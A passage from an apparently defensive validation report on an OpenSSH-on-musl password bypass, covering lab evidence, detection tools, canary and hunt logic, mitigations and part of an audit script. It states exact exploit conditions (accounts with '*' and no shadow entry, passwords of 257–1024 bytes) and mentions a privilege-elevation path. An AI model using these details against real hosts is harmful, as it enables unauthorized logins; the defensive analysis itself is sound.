`getspnam` buffer and the `explicit_bzero` inside `pick_salt`) that a future release may change. Second, a donor-free fleet is safe only until any password is set anywhere \u2014 an unstable state, not a defense. Third, donor-algorithm safety beyond `$6$`/`$5$` is unverified, as noted above. The only deliberate defenses are \u00a77's \u2014 patch to 10.6p2, or make `PasswordAuthentication` not effective \u2014 with \u00a76's detection as the compensating control.\n\nThe 256-byte lower bound is the same mechanism in reverse: at exactly 256 bytes musl still computes a genuine hash, which mismatches the stored `*` \u2192 deny.\n\n## 4. The window bound \u2014 257\u20131024 bytes, enforced server-side (a write-ups claim we confirmed)\n\nThe write-ups' figures survive: sshd enforces the 1024-byte cap itself \u2014 `#define MAX_PASSWORD_LEN 1024`, a length cap applied unconditionally before password verification (`auth-passwd.c`, lines 70 and 86\u201387 in the 10.6p1 tree; server-side since OpenSSH 7.3, 2016). Our own interim reading \u2014 no upper bound \u2014 was a client-truncation artifact: the sshpass-fed client truncated the password before sending. We retracted it after re-probing with a non-truncating client (paramiko 5.1.0, verbatim delivery) against a live vulnerable container: 300 and 1024 `A`s accepted, 1025 and 2048 `A`s denied, six of six probes as expected (Appendix A.3).\n\nPractical guidance is unaffected either way: the password exists only inside the encrypted channel and in sshd's memory \u2014 never in any log \u2014 so hunts cannot filter on length.\n\n## 5. The verified behavior differential\n\nConsequences at tested-configuration scope (five lab images; every DENY below is the bug's state logic, not a broken harness, per the controls in \u00a72):\n\n| Condition | musl 10.6p1 / 10.0p2, passwd-`*`, no shadow, \u22651 `$`-donor | musl 10.6p1, `*` in shadow (write-up scenario) | musl 10.6p1, no `$`-donor | glibc 10.6p1 | musl 10.6p2 (fixed) | PAM build, `UsePAM no` |\n|---|---|---|---|---|---|---|\n| 256-byte password | **DENY** (genuine hash computed) | DENY | DENY | DENY | DENY | DENY |\n| 257 / 300 / 1024 bytes | **ACCEPT, first try** | DENY (static-buffer stomp) | DENY (DES fallback) | DENY (`\"*0\"`) | DENY, **silently** | **ACCEPT** |\n| 1025+ bytes | **DENY** \u2014 server-side `MAX_PASSWORD_LEN` gate | DENY | DENY | DENY | DENY | **DENY** (same gate) |\n| Log line for the outcome above | normal `Accepted password for ` | `Failed password` | `Failed password` | `Failed password` | normal `Failed password` only | normal accept |\n\nTwo detection-defining consequences fall out of this table:\n\n- **The success line is byte-identical to a normal login.** No failed-attempt trail exists for the victim account (every attempt succeeds on the first try), so brute-force rate alarms never trip and a scan looks like one ordinary login.\n- **The discriminating signal is account state, not log shape.** Every detector must therefore correlate an auth event with the account inventory, and any such join must carry host identity and time on both sides \u2014 a stale account list produces both misses (account since fixed) and false positives (account since removed).\n\n## 6. What detection actually looks like\n\nBecause the log line is normal and the network is blind, detection rests on three account-state controls plus version auditing \u2014 four mechanisms in all. Identification itself reduces to four checks, in this order:\n\n1. **musl linkage**, via `ldd` on the sshd binary;\n2. **version**, via `ssh -V` plus a strings scan of the sshd binary \u2014 never the package manager's claim (and see \u00a77's version-string trap);\n3. the **effective** `PasswordAuthentication`/`UsePAM`, via `sshd -T` (main config section only \u2014 `Match`-block overrides are a caveat, not resolved);\n4. **account state** per \u00a73: passwd-`*` accounts with no shadow entry, plus the `$`-format donor count.\n\nThe audit tool below automates exactly this checklist and returns a verdict; Appendix A.4 is the worked example of that verdict. Both tools and the Sigma rules are reproduced verbatim in Appendix B. All mechanisms are lab-validated; none has fired from real fleet telemetry (\u00a78).\n\n**Per-host config audit.** A POSIX-sh tool checks, in one pass: musl linkage of the sshd binary (`ldd`, with an ssh-client-linkage fallback); installed version (`ssh -V`, with a binary-strings fallback \u2014 \u00a77's version-string trap); PAM build status; the *effective* `PasswordAuthentication`/`UsePAM` (via `sshd -T`, main section only \u2014 `Match`-block overrides are flagged as a caveat, not resolved); the decisive account-state check (accounts with `*` in `/etc/passwd` **without** a shadow entry, `*`-in-shadow states reported separately, empty-password accounts as a distinct risk class); and the `$`-format donor count.\n\nIt emits human output plus JSON and returns a verdict: **VULNERABLE** (exit 2); **PATCHED**, **NOT-VULNERABLE**, or **NOT-EXPLOITABLE** (donor missing), all exit 0; or **UNKNOWN** (exit 3). A `*`-in-shadow account (e.g. `root:*`) appears as information only \u2014 not verdict-driving. A `canary` subcommand provisions the tripwire below. Sample verdict receipt: Appendix A.4.\n\n**Canary tripwire.** Provision a decoy account with passwd field `*`, **no** shadow entry, and a `nologin` shell. Under normal semantics this account cannot authenticate, so **any** `Accepted password for ` in any log sink is a compromise signal with zero false positives while the canary password is unknown. The only false-positive path is canary mismanagement (an operator setting a real password, or deleting the shadow entry), hence the operating rule: treat every hit first, check canary management second.\n\nThe canary is expected to work because sshd logs the accept *before* the shell runs, so a `nologin` shell does not suppress the line \u2014 design reasoning from sshd's logging order, not a separately receipted observation. The corresponding Sigma rule (keyword match on the canary accept; tagged ATT&amp;CK T1110.001) is log-only \u2014 legitimate because the canary's accept *is* abnormal regardless of log shape.\n\n**Retroactive hunt.** This answers one question: *has this bug ever been used against us?* \u2014 using history you already have. Inputs: your existing SSH auth logs (the `Accepted password for ` lines, however far back they reach) and the host's current `/etc/passwd` + `/etc/shadow`. The check, per successful password login in the log: is `` an account that cannot accept a password under normal semantics (passwd field `*`, no shadow entry)? Such an account has no working password, so an accept for it can only be this bypass.\n\n- **Exit 0** \u2014 no flags: no log line names a passwd-`*`-no-shadow account; nothing suspicious found.\n- **Exit 1** \u2014 hits: the tool prints each flagged account and the matched log lines. Example from our validation: mallory is a passwd-`*`-no-shadow account whose log contains four accepts \u2192 `HIT [4]: 'Accepted password for mallory'` \u2192 suspect compromise (full receipt: Appendix A.5).\n- A run that cannot read its inputs fails loudly rather than reporting clean.\n\nTwo boundary cases, deliberate: accounts with `*` in *shadow* are explicitly **not** flagged (that state denies the bypass, \u00a73 \u2014 flagging them would be pure false positive), and the join uses *current* account state, so it assumes the account didn't change since the log entry \u2014 state churn and log loss are its documented blind spots (\u00a78).\n\nTreat any hit as high-priority investigation: the exploit is deterministic, so an accept on a `*`-no-shadow account can only come from the bypass or an account-state change since the log entry. The tool separately reports empty-password accounts (a different risk class \u2014 the `PermitEmptyPasswords` domain, not this bug). Receipt: Appendix A.5.\n\n**Why the correlation cannot be a standalone Sigma rule.** Sigma selects within a single event stream and cannot read `/etc/passwd`, so the log \u00d7 account-state join ships as the hunt tool plus per-SIEM ingestion recipes (Elastic: ship the audit JSON as a custom category, alert on `verdict: \"VULNERABLE\"`; Splunk: a lookup of `*`-no-shadow accounts refreshed by the audit JSON, joined against accept events; Loki: alert on the hunt tool's `HIT` lines). A second Sigma rule surfaces audit-tool executions \u2014 visibility, not compromise. Do **not** hand-roll a keyword-only rule for `Accepted password for`: that fires on every normal SSH login.\n\n**Validation status.** Seventeen positive controls, all passing in the final run (2026-11-05T20:11:48Z UTC): the audit tool returned the expected verdict on all ten matrix configurations (exploitable layouts \u2192 VULNERABLE, shadow/both \u2192 NOT-VULNERABLE, no-donor \u2192 NOT-EXPLOITABLE, PAM-UsePAM-no \u2192 VULNERABLE, patched \u2192 PATCHED, glibc \u2192 NOT-VULNERABLE, `PasswordAuthentication no` \u2192 NOT-VULNERABLE), the canary provision flipped the verdict to VULNERABLE as designed, and the hunt flagged all three exploitable arms while staying silent on all four deny arms \u2014 including correctly *not* flagging the deny arms' own benign sanity accepts. The full matrix is quoted verbatim in Appendix A.6.\n\nOne audit-tool limit belongs here: the verdict is ordered on upstream OpenSSH version numbers, so a distribution package with the fix backported \u2014 version string still below 10.6p2 \u2014 is reported VULNERABLE unless the distro advisory is consulted (\u00a77; on Alpine, maintained branches received the backport the same day). Other known limits: `sshd -T` covers the main section only; the tools were exercised on the five lab images only; precision beyond the arm matrix is unproven.\n\n**Patched fleets.** The 10.6p2 refusal is **silent** \u2014 the fixed build logs only a normal `Failed password` line (Appendix A.2, second excerpt). There is no distinctive log line to alert on, so patched-vs-unpatched status must come from the version audit, never from logs.\n\n## 7. Mitigations, and the version-string trap\n\n- **Patch to OpenSSH 10.6p2** (2026-11-05). Upstream's fix refuses a match when the stored value is shorter than four characters (`MIN_PASSWORD_HASH_LEN 4`): the one-character `\"*\"` can no longer survive the `strcmp`, while real hashes are always at least four characters, so normal auth is unaffected. Where version strings cannot be trusted, the constant's presence in the source is the fix marker \u2014 note it is a compile-time constant, so a strings scan of the binary will not surface it; source or package provenance is the reliable path. Alpine backported the fix to all maintained branches (\u2265 3.16) the same day. Upstream declared the root cause \"outside OpenSSH itself\"; musl's position matches.\n- **Rebuild container images; do not just restart containers.** Account state lives in the image layers.\n- **Stopgap:** making `PasswordAuthentication no` effective (including inside any `Match` blocks) renders the host not exploitable \u2014 at the cost of stopping *all* password logins, not just the bypass. Verify it as the *effective* config via `sshd -T`, not merely as a line in the file.\n- **The version-string trap:** confirm the *installed* binary's version, not the package's intent. Our own 10.0p1-labeled Alpine-era build reported **OpenSSH_10.0p2** at runtime, and Alpine package versions render with an underscore (`10.0_p1`). Check `ssh -V`-equivalent output or a strings scan of the sshd binary. The reverse also holds: on Alpine, a version below 10.6p2 does **not** mean unpatched \u2014 maintained branches received the fix backported the same day \u2014 so check the distro advisory and package revision. The audit tool's verdict is upstream-version-ordered and will report VULNERABLE for a backport-patched package unless the advisory is consulted.\n- **Root and post-exploitation:** root is not directly reachable (default `PermitRootLogin prohibit-password`). The public write-ups describe an Alpine cloud-image elevation path \u2014 enter as a `*`-field default user, then elevate via the image's passwordless `doas` \u2014 but that last hop is from their write-up, not our lab.\n- **Assume scanning interest is immediate:** the 10.6p2 release notes report that a large share of recent security bug reports are findings from AI models, and that bugs surfaced by AI tools have been rediscovered by other researchers \u2014 which, the notes argue, suggests adversaries who do not report bugs are likely able to discover these bugs too. With no CVE assigned as of 2026-11-05, there is no SSVC (Stakeholder-Specific Vulnerability Categorization) decision point or CISA KEV (Known Exploited Vulnerabilities) catalog entry to cite; re-check before operationalizing.\n\n## 8. Honest negatives and limits\n\n- **Passive network IDS is blind.** The entire attack rides inside the encrypted SSH channel; password length and content are invisible on the wire, and the exploit needs exactly one attempt. No Suricata/Zeek rule can detect the bypass itself; the only network-visible artifacts are generic (an SSH connection, possibly an oversized userauth frame \u2014 indistinguishable from any benign long-password login).\n- **Shadow-only audits miss exploitable fleets.** Because the exploitable state is `*` in `/etc/passwd` with *no* shadow entry, any audit that checks only `/etc/shadow` reports the host clean while the fleet is fully exploitable. This is the most likely operational mistake when following the write-ups. Check passwd.\n- **Log-only detection is impossible for arbitrary accounts** (\u00a75), and the silent fix means absence of exploit lines is not evidence of absence of attempts even on patched hosts.\n- **The audit tool's verdict is upstream-version-ordered.** A distribution package with the fix backported (version string still below 10.6p2) reads as VULNERABLE; consult the distro advisory and package revision before acting (\u00a77).\n- **Deployment-unverified across the board.** Every control is fixture-matched in the lab; none has fired from real fleet telemetry. Real fleet shapes (OpenWrt, Buildroot, unusual init systems, non-standard sshd paths, read-only `/etc`) are untested, and Sigma\u2192backend conversion has not been executed (the rules are keyword rules; conversion is expected to be trivial but was not run).\n- **Fixtures are reconstructions.** The lab containers were destroyed after each run, so the hunt's passwd/shadow inputs are deterministic reconstructions, not live captures (the sshd logs they were validated against are real). The retro hunt additionally assumes account state did not change between log time and audit time \u2014 state churn is a documented blind spot of that method, as is log loss (unconfigured syslog, uncollected container stdout).\n- **Donor algorithms beyond `$6$`/`$5$` are unverified** (\u00a73); the audit tool counts any `$`-format hash as a donor without distinguishing algorithms.\n\n## Appendix A \u2014 primary evidence (verbatim)\n\n*Instrumentation note:* `DBGSHADOW`/`DBGSYSAUTH` lines come from a lab sshd build instrumented for this validation; production sshd emits neither. They are decisive for the mechanism, not a production detection source.\n\n### A.1 The catch-22 receipts (armA: `*` in shadow \u2014 the write-ups' scenario \u2014 DENIES)\n\nFrom the instrumented armA sshd log \u2014 the stored `*` is read correctly, then destroyed before the compare:\n\n```text\nDBGSHADOW user=mallory euid=0 pw_passwd=[x] spw=found sp_pwdp=[*]\nDBGSYSAUTH user=mallory valid=1 raw_pw_passwd=[x] pw_password=[] salt=[(borrowed)] encrypted=[$6$855WQgQcD]\nFailed password for mallory from 127.0.0.1 port 59822 ssh2\n```\n\n`sp_pwdp=[*]` at read vs `pw_password=[]` at compare is the static-buffer zero-stomp (\u00a73); `salt=[(borrowed)]` shows `pick_salt` armed and ran. *Elision note: the three lines are not contiguous in the log. The `DBGSHADOW` read line opens the attempt and is followed by `pick_salt`'s enumeration of every account \u2014 seventeen `DBGSHADOW` lines, ending at the donor \u2014 before the `DBGSYSAUTH` compare line; the compare and `Failed password` lines are adjacent. The same read\u2192stomp\u2192deny sequence appears in all four shadow-layout attempts.*\n\n### A.2 The passwd-layout exploit and the silent fix (armF exploitable, armL patched)\n\nExploitable arm (musl 10.6p1, passwd-`*`-no-shadow) \u2014 the victim account's four accept lines (the same log also contains the benign sanity and delivery-control accepts for the bob and carol control accounts, not shown):\n\n```text\nAccepted password for mallory from 127.0.0.1 port 36052 ssh2\nAccepted password for mallory from 127.0.0.1 port 36066 ssh2\nAccepted password for mallory from 127.0.0.1 port 36072 ssh2\nAccepted password for mallory from 127.0.0.1 port 36080 ssh2\n```\n\nThe passwd-`*` account state as seen by the instrumented sshd on the fixed build (armL \u2014 note `spw=NULL`), paired with its refusal line, which is a plain `Failed password` \u2014 the silent fix of \u00a76. *Elision note: one intervening line, the donor account's `DBGSHADOW` enumeration line from `pick_salt`'s walk, sits between the two shown lines.*\n\n```text\nDBGSHADOW user=mallory euid=0 pw_passwd=[*] spw=NULL sp_pwdp=[(none)]\nFailed password for mallory from 127.0.0.1 port 32996 ssh2\n```\n\n### A.3 The decisive probe (non-truncating client vs live vulnerable container)\n\nRun 2026-11-05T20:11:29Z UTC; paramiko 5.1.0 against a live musl 10.6p1 container (passwd-`*`-no-shadow victim, `$6$` donor present). Reproduced verbatim (the run's header and trailing log-path lines omitted; the latter contains only a lab-internal path):\n\n```text\nparamiko_version: 5.1.0\ncontainer: ossh:musl-106p1 running\nprobe_client: paramiko 5.1.0 (non-truncating; password sent verbatim in SSH_MSG_USERAUTH_REQUEST)\nRESULT|bob/bobPassword1 (MASTER-SANITY)|ACCEPT|expect=ACCEPT|PASS\nRESULT|mallory/256A (lower-bound control)|DENY|expect=DENY|PASS\nRESULT|mallory/300A (exploit-window control)|ACCEPT|expect=ACCEPT|PASS\nRESULT|mallory/1024A (gate is &gt;1024)|ACCEPT|expect=ACCEPT|PASS\nRESULT|mallory/1025A (DECISIVE)|DENY|expect=DENY|PASS\nRESULT|mallory/2048A (DECISIVE)|DENY|expect=DENY|PASS\n```\n\n### A.4 Audit-tool verdict receipt (control `musl106p1_passwd`, 2026-11-05T20:11:45Z)\n\n```text\n=== OpenSSH x musl password-bypass audit ===\nutc: 2026-11-05T20:11:45Z\nhost: ad41ba4ccdf4\nsshd_binary: /usr/local/sbin/sshd\nsshd_version: 10.6p1\nlibc_linkage: musl\npam_build: no\nconfig_source: sshd -T (main section only) (Match-blocks: 0; sshd -T covers MAIN section only)\npasswordauthentication_effective: yes\nusepam_effective: \npasswd_star_accounts_no_shadow: mallory\npasswd_star_with_shadow_entry: no\nshadow_star_accounts: root\nempty_password_accounts: none\ndollar_format_hashes: 2 (salt donors; DES/other non-$ hashes do NOT arm the bug)\nVERDICT: VULNERABLE\nREASONS: musl sshd 10.6p1 &lt; 10.6p2 + effective PasswordAuthentication + passwd-'*' account (no shadow entry):  mallory + 2 $-hash donor(s); any password 257-1024 bytes accepted first-try (server-side window; sshd's MAX_PASSWORD_LEN 1024 gate denies longer)\n```\n\n### A.5 Retro-hunt receipt (armF: real exploit log \u00d7 reconstructed fixture)\n\n```text\n=== hunt_accepted_nopw ===\n[host-specific input paths elided: authlog, passwd, shadow lines]\nexploitable passwd-star accounts (no shadow entry): mallory\npasswd-star accounts WITH shadow entry (NOT exploitable): none\nempty-password accounts (separate risk class): none\nHIT [4]: 'Accepted password for mallory' \u2014 passwd-'*'-no-shadow account authenticated = musl-bypass signature (or canary trip).\nRESULT: 4 hit line(s) \u2014 suspect compromise; see flagged lines [in the armF sshd log and a session temp hit file]\n```\n\n*Elision note: the authlog/passwd/shadow path lines and the RESULT line's path are host-specific and were elided with brackets (both edits marked). `HIT [4]` means four matched log lines \u2014 the four accepts of A.2. The A.6 matrix's `expect_hits`/`actual_hits` count a different unit: flagged *accounts* \u2014 the harness records one `HIT` statement per account with at least one match and passes a positive arm on exit 1 with at least one `HIT` line \u2014 whereas `HIT [n]` and the `RESULT` line count matched *log lines*. ArmF is therefore one flagged account (mallory) carrying the four matched lines.*\n\n### A.6 Positive-control matrix (final run 2026-11-05T20:11:48Z UTC, all tools at their fixed versions)\n\nReproduced verbatim from the final-run receipt, except the run's banner header line (`=== Phase R positive controls \u2014 2026-11-05T20:11:48Z UTC ===`), which is omitted \u2014 the run timestamp is in this section's title. Control INPUT labels name the per-arm sshd logs and fixture files; the `musl100p1` rows ran on the 10.0p1-labeled build, which reports 10.0p2 at runtime (\u00a77).\n\n```text\nCONTROL                    INPUT                                  EXPECTED                             ACTUAL                         EXIT     RESULT\nmusl106p1_passwd           passwd/PA=yes                          expect=VULNERABLE                    actual=VULNERABLE              exit=2   PASS\nmusl106p1_shadow           shadow/PA=yes                          expect=NOT-VULNERABLE                actual=NOT-VULNERABLE          exit=0   PASS\nmusl106p1_both             both/PA=yes                            expect=NOT-VULNERABLE                actual=NOT-VULNERABLE          exit=0   PASS\nmusl106p1_nohash           nohash/PA=yes                          expect=NOT-EXPLOITABLE               actual=NOT-EXPLOITABLE         exit=0   PASS\nmusl100p1_passwd           passwd/PA=yes                          expect=VULNERABLE                    actual=VULNERABLE              exit=2   PASS\nmusl106p1pam_passwd        passwd/PA=yes usepam_no                expect=VULNERABLE                    actual=VULNERABLE              exit=2   PASS\nmusl106p2_passwd           passwd/PA=yes                          expect=PATCHED                       actual=PATCHED                 exit=0   PASS\nglibc106p1_passwd          passwd/PA=yes                          expect=NOT-VULNERABLE                actual=NOT-VULNERABLE          exit=0   PASS\nmusl106p1_passwd_pano      passwd/PA=no                           expect=NOT-VULNERABLE                actual=NOT-VULNERABLE          exit=0   PASS\ncanary_musl106p1           canary provision+reaudit               expect=canary-provisioned+VULNERABLE actual=canary-provisioned: canary-nopw/VULNERABLE exit=-   PASS\nhunt_armF                  armF_musl_106p1_passwd_sshd.log x fixtures/armF_passwd expect_hits=1                        actual_hits=1                  exit=1   PASS\nhunt_armI                  armI_musl_100p1_passwd_sshd.log x fixtures/armI_passwd expect_hits=1                        actual_hits=1                  exit=1   PASS\nhunt_armM                  armM_musl_106p1_pam_pw_sshd.log x fixtures/armM_pam_pw expect_hits=1                        actual_hits=1                  exit=1   PASS\nhunt_armA                  armA_musl_106p1_sshd.log x fixtures/armA_shadow expect_hits=0                        actual_hits=0                  exit=0   PASS\nhunt_armL                  armL_musl_106p2_fixed_pw_sshd.log x fixtures/armL_106p2_pw expect_hits=0                        actual_hits=0                  exit=0   PASS\nhunt_armK                  armK_glibc_106p1_passwd_sshd.log x fixtures/armK_glibc_pw expect_hits=0                        actual_hits=0                  exit=0   PASS\nhunt_armN                  armN_musl_106p1_nohash_pw_sshd.log x fixtures/armN_nohash_pw expect_hits=0                        actual_hits=0                  exit=0   PASS\n== RESULT: 17 pass, 0 fail ==\n```\n\n## Appendix B \u2014 companion tools (verbatim)\n\nThe two detection tools and both Sigma rules from \u00a76, reproduced verbatim so the report is deployable without any external artifact. File hashes (sha256): `audit_ssh_musl.sh` `eff2cd0f8bf10acf\u2026`, `hunt_accepted_nopw.sh` `2b34c8f556b813ac\u2026`, canary rule `f54b70a8fc0c7ab4\u2026`, audit-run rule `78ec602f153ad542\u2026`.\n\n### B.1 audit_ssh_musl.sh\n\n```sh\n#!/bin/sh\n# audit_ssh_musl.sh \u2014 config-audit for the OpenSSH x musl password-auth bypass.\n#\n# Bug under test (adjudicated mechanics \u2014 see the companion validation report; the public\n# write-ups' shadow-based precondition is WRONG):\n#   OpenSSH sshd on musl libc accepts ANY password &gt;= 257 bytes (window\n#   257-1024 SERVER-SIDE: sshd's own MAX_PASSWORD_LEN 1024 pre-gate in\n#   auth-passwd.c denies longer passwords; observed 1025-ACCEPT receipts in the\n#   validation were a client-truncation artifact) for an account whose\n#   /etc/passwd password field is the literal `*` WITH NO /etc/shadow entry,\n#   provided &gt;=1 other account carries a `$`-format hash (the salt donor that\n#   pick_salt borrows) and password authentication is effective.\n#   A `*` in /etc/shadow (write-up scenario) DENIES: musl getspnam() returns a\n#   static-buffer pointer and pick_salt()'s explicit_bzero zero-stomps it\n#   before the strcmp. PAM-built sshd is equally vulnerable when `UsePAM no`.\n#   Fixed in OpenSSH 10.6p2 (MIN_PASSWORD_HASH_LEN 4 gate; fix is SILENT).\n#   glibc fleets deny (crypt never returns `*`).\n#\n# Usage:\n#   audit_ssh_musl.sh [--config PATH] [--json OUTFILE]\n#       Audit THIS host/container. Exit codes: 0 = clean/patched/not-exploitable,\n#       2 = VULNERABLE, 3 = UNKNOWN/inconclusive, 1 = usage error.\n#   audit_ssh_musl.sh canary\n#       Provision a canary account (passwd `*`, NO shadow entry, nologin\n#       shell, named canary-nopw) and print the correlation guidance.\n#\n# Requirements: POSIX sh (busybox ash ok), grep/awk/sed/cut, ldd, ssh + sshd\n# binaries. No jq. Safe to run inside Alpine/embedded containers.\n#\n# KNOWN LIMITS (stated, not hidden):\n#   - `sshd -T` prints the MAIN config section only. Match-block overrides are\n#     NOT reflected; the script additionally greps raw config files for Match\n#     blocks and downgrades confidence if any exist.\n#   - `sshd -T` needs root and resolvable host keys; if it fails the script\n#     falls back to parsing the config text with upstream defaults\n#     (PasswordAuthentication yes, UsePAM no) and marks the source \"config-parse\".\n#   - Version parse uses the client's `ssh -V` string; vendor-suffixed\n#     versions (e.g. Debian's \"OpenSSH_9.2p1 Debian-2+deb12u3\") are handled\n#     by taking the leading OpenSSH_X.YpZ token only.\n\nset -u\n\nVERDICT=\"\"\nCONF=0\n\n# ---------------------------------------------------------------- helpers\nnow_utc() { date -u +%Y-%m-%dT%H:%M:%SZ 2&gt;/dev/null || date +%s; }\n\njson_escape() { printf '%s' \"$1\" | sed 's/\\\\/\\\\\\\\/g; s/\"/\\\\\"/g'; }\n\n# numeric-ish compare of OpenSSH versions \"X.YpZ\": returns 0 (true) if $1 &lt; $2\nver_lt() {\n    awk -v a=\"$1\" -v b=\"$2\" 'BEGIN{\n        split(a, A, \"p\"); split(b, B, \"p\");\n        split(A[1], am, \".\"); split(B[1], bm, \".\");\n        am1=am[1]+0; am2=am[2]+0; bm1=bm[1]+0; bm2=bm[2]+0;\n        ap=A[2]+0; bp=B[2]+0;\n        if (am1 &lt; bm1) exit 0;\n        if (am1 &gt; bm1) exit 1;\n        if (am2 &lt; bm2) exit 0;\n        if (am2 &gt; bm2) exit 1;\n        exit (ap &lt; bp) ? 0 : 1;\n    }'\n}\n\ndie() { echo \"audit_ssh_musl: $*\" &gt;&amp;2; exit 1; }\n\n# ---------------------------------------------------------------- args\nCFG_OVERRIDE=\"\"\nJSON_OUT=\"\"\nRUN_MODE=\"audit\"\nwhile [ $# -gt 0 ]; do\n    case \"$1\" in\n        --config) [ $# -ge 2 ] || die \"--config needs a value\"; CFG_OVERRIDE=\"$2\"; shift 2 ;;\n        --json)   [ $# -ge 2 ] || die \"--json needs a value\"; JSON_OUT=\"$2\"; shift 2 ;;\n        canary)   RUN_MODE=\"canary\"; shift ;;\n        *) die \"unknown arg: $1 (see header)\" ;;\n    esac\ndone\n\ncanary_provision() {\n    CANARY_NAME=\"canary-nopw\"\n    SHELL_BIN=\"/sbin/nologin\"\n    [ -x \"$SHELL_BIN\" ] || SHELL_BIN=\"/usr/sbin/nologin\"\n    if command -v useradd &gt;/dev/null 2&gt;&amp;1; then\n        useradd -m -s \"$SHELL_BIN\" \"$CANARY_NAME\" 2&gt;/dev/null \\\n            || useradd -s \"$SHELL_BIN\" \"$CANARY_NAME\" || die \"cannot create $CANARY_NAME\"\n    elif command -v adduser &gt;/dev/null 2&gt;&amp;1; then\n        adduser -D -s \"$SHELL_BIN\" \"$CANARY_NAME\" 2&gt;/dev/null || die \"cannot create $CANARY_NAME\"\n    else\n        die \"no useradd/adduser available\"\n    fi\n    # passwd field -&gt; literal `*`, and NO shadow entry (the exploitable state).\n    # NOTE: this is deliberate canary bait on a musl sshd fleet \u2014 any password\n    # acceptance on it is a certain compromise signal.\n    sed -i \"s|^${CANARY_NAME}:[^:]*:|${CANARY_NAME}:*:|\" /etc/passwd\n    [ -f /etc/shadow ] &amp;&amp; sed -i \"/^${CANARY_NAME}:/d\" /etc/shadow\n    echo \"canary-provisioned: $CANARY_NAME\"\n    echo \"passwd-field: $(grep \"^${CANARY_NAME}:\" /etc/passwd | cut -d: -f2)\"\n    _se=$(grep -c \"^${CANARY_NAME}:\" /etc/shadow 2&gt;/dev/null); _se=${_se:-0}\n    echo \"shadow-entry: $_se\"\n    echo \"shell: $SHELL_BIN\"\n    echo \"correlation-rule: ANY 'Accepted password for ${CANARY_NAME}' (any log sink) = certain compromise; investigate immediately.\"\n    echo \"hunt: hunt_accepted_nopw.sh  /etc/passwd /etc/shadow | grep -w ${CANARY_NAME}\"\n    exit 0\n}\n\n[ \"$RUN_MODE\" = \"canary\" ] &amp;&amp; canary_provision\n\n# ---------------------------------------------------------------- locate sshd\nSSHD_BIN=\"\"\nfor c in sshd /usr/sbin/sshd /usr/local/sbin/sshd /sbin/sshd; do\n    p=$(command -v \"$c\" 2&gt;/dev/null) &amp;&amp; { SSHD_BIN=\"$p\"; break; }\ndone\nif [ -z \"$SSHD_BIN\" ]; then\n    for f in /usr/sbin/sshd /usr/local/sbin/sshd /sbin/sshd /usr/local/sbin/sshd-session; do\n        [ -x \"$f\" ] &amp;&amp; SSHD_BIN=\"$f\" &amp;&amp; break\n    done\nfi\n\nSSHD_VERSION=\"\"\nfor s in ssh /usr/local/bin/ssh /usr/bin/ssh /bin/ssh; do\n    sp=$(command -v \"$s\" 2&gt;/dev/null) || { [ -x \"$s\" ] &amp;&amp; sp=\"$s\"; } || sp=\"\"\n    if [ -n \"$sp\" ]; then\n        SSHD_VERSION=$(\"$sp\" -V 2&gt;&amp;1 | sed -n 's/.*OpenSSH_\\([0-9][0-9.]*p[0-9]\\).*/\\1/p')\n        [ -n \"$SSHD_VERSION\" ] &amp;&amp; break\n    fi\ndone\nif [ -n \"$SSHD_BIN\" ] &amp;&amp; [ -z \"$SSHD_VERSION\" ]; then\n    SSHD_VERSION=$(strings \"$SSHD_BIN\" 2&gt;/dev/null | sed -n 's/^OpenSSH_\\([0-9][0-9.]*p[0-9]\\).*/\\1/p' | head -1)\nfi\n\n# ---------------------------------------------------------------- libc linkage\nLIBC=\"unknown\"\nif [ -n \"$SSHD_BIN\" ] &amp;&amp; command -v ldd &gt;/dev/null 2&gt;&amp;1; then\n    if ldd \"$SSHD_BIN\" 2&gt;&amp;1 | grep -q musl; then\n        LIBC=\"musl\"\n    elif ldd \"$SSHD_BIN\" 2&gt;&amp;1 | grep -q \"libc.so.6\"; then\n        LIBC=\"glibc\"\n    fi\nfi\n# Fallback: the ssh client's linkage usually mirrors the build environment.\nif [ \"$LIBC\" = \"unknown\" ] &amp;&amp; command -v ldd &gt;/dev/null 2&gt;&amp;1 &amp;&amp; command -v ssh &gt;/dev/null 2&gt;&amp;1; then\n    SSHBIN=$(command -v ssh)\n    ldd \"$SSHBIN\" 2&gt;&amp;1 | grep -q musl &amp;&amp; LIBC=\"musl (via ssh client)\"\n    ldd \"$SSHBIN\" 2&gt;&amp;1 | grep -q \"libc.so.6\" &amp;&amp; LIBC=\"glibc (via ssh client)\"\nfi\n\n# ---------------------------------------------------------------- PAM build\nPAM_BUILD=\"no\"\nif [ -n \"$SSHD_BIN\" ]; then\n    if command -v ldd &gt;/dev/null 2&gt;&amp;1 &amp;&amp; ldd \"$SSHD_BIN\" 2&gt;&amp;1 | grep -q libpam; then\n        PAM_BUILD=\"yes\"\n    elif strings \"$SSHD_BIN\" 2&gt;/dev/null | grep -q \"^pam_start$\"; then\n        PAM_BUILD=\"yes (symbol)\"\n    fi\nfi\n\n# ---------------------------------------------------------------- effective config\nCFG_SRC=\"none\"\nPWAUTH_EFF=\"default(yes)\"\nUSEPAM_EFF=\"default(no)\"\nMATCH_BLOCKS=0\nCFG=\"$CFG_OVERRIDE\"\nif [ -z \"$CFG\" ]; then\n    for f in /etc/ssh/sshd_config /usr/local/etc/sshd_config /etc/sshd_config; do\n        [ -r \"$f\" ] &amp;&amp; CFG=\"$f\" &amp;&amp; break\n    done\nfi\nif [ -n \"$CFG\" ] &amp;&amp; [ -r \"$CFG\" ]; then\n    CFG_SRC=\"file:$CFG\"\n    MATCH_BLOCKS=$(grep -c \"^Match \" \"$CFG\" 2&gt;/dev/null); MATCH_BLOCKS=${MATCH_BLOCKS:-0}\n    # try the authoritative source: sshd -T (root, host keys resolvable)\n    if [ \"$(id -u)\" = \"0\" ]; then\n        TOUT=$(sshd -T -f \"$CFG\" 2&gt;/dev/null || \"$SSHD_BIN\" -T -f \"$CFG\" 2&gt;/dev/null)\n        if [ -n \"$TOUT\" ]; then\n            CFG_SRC=\"sshd -T (main section only)\"\n            PWAUTH_EFF=$(printf '%s\\n' \"$TOUT\" | awk 'tolower($1)==\"passwordauthentication\"{print $2}')\n            USEPAM_EFF=$(printf '%s\\n' \"$TOUT\" | awk 'tolower($1)==\"usepam\"{print $2}')\n        fi\n    fi\n    if [ \"$CFG_SRC\" != \"sshd -T (main section only)\" ]; then\n        # config-parse fallback with upstream defaults\n        v=$(awk 'toupper($1)==\"PASSWORDAUTHENTICATION\"{print $2}' \"$CFG\" | tail -1)\n        [ -n \"$v\" ] &amp;&amp; PWAUTH_EFF=\"config-parse($v)\"\n        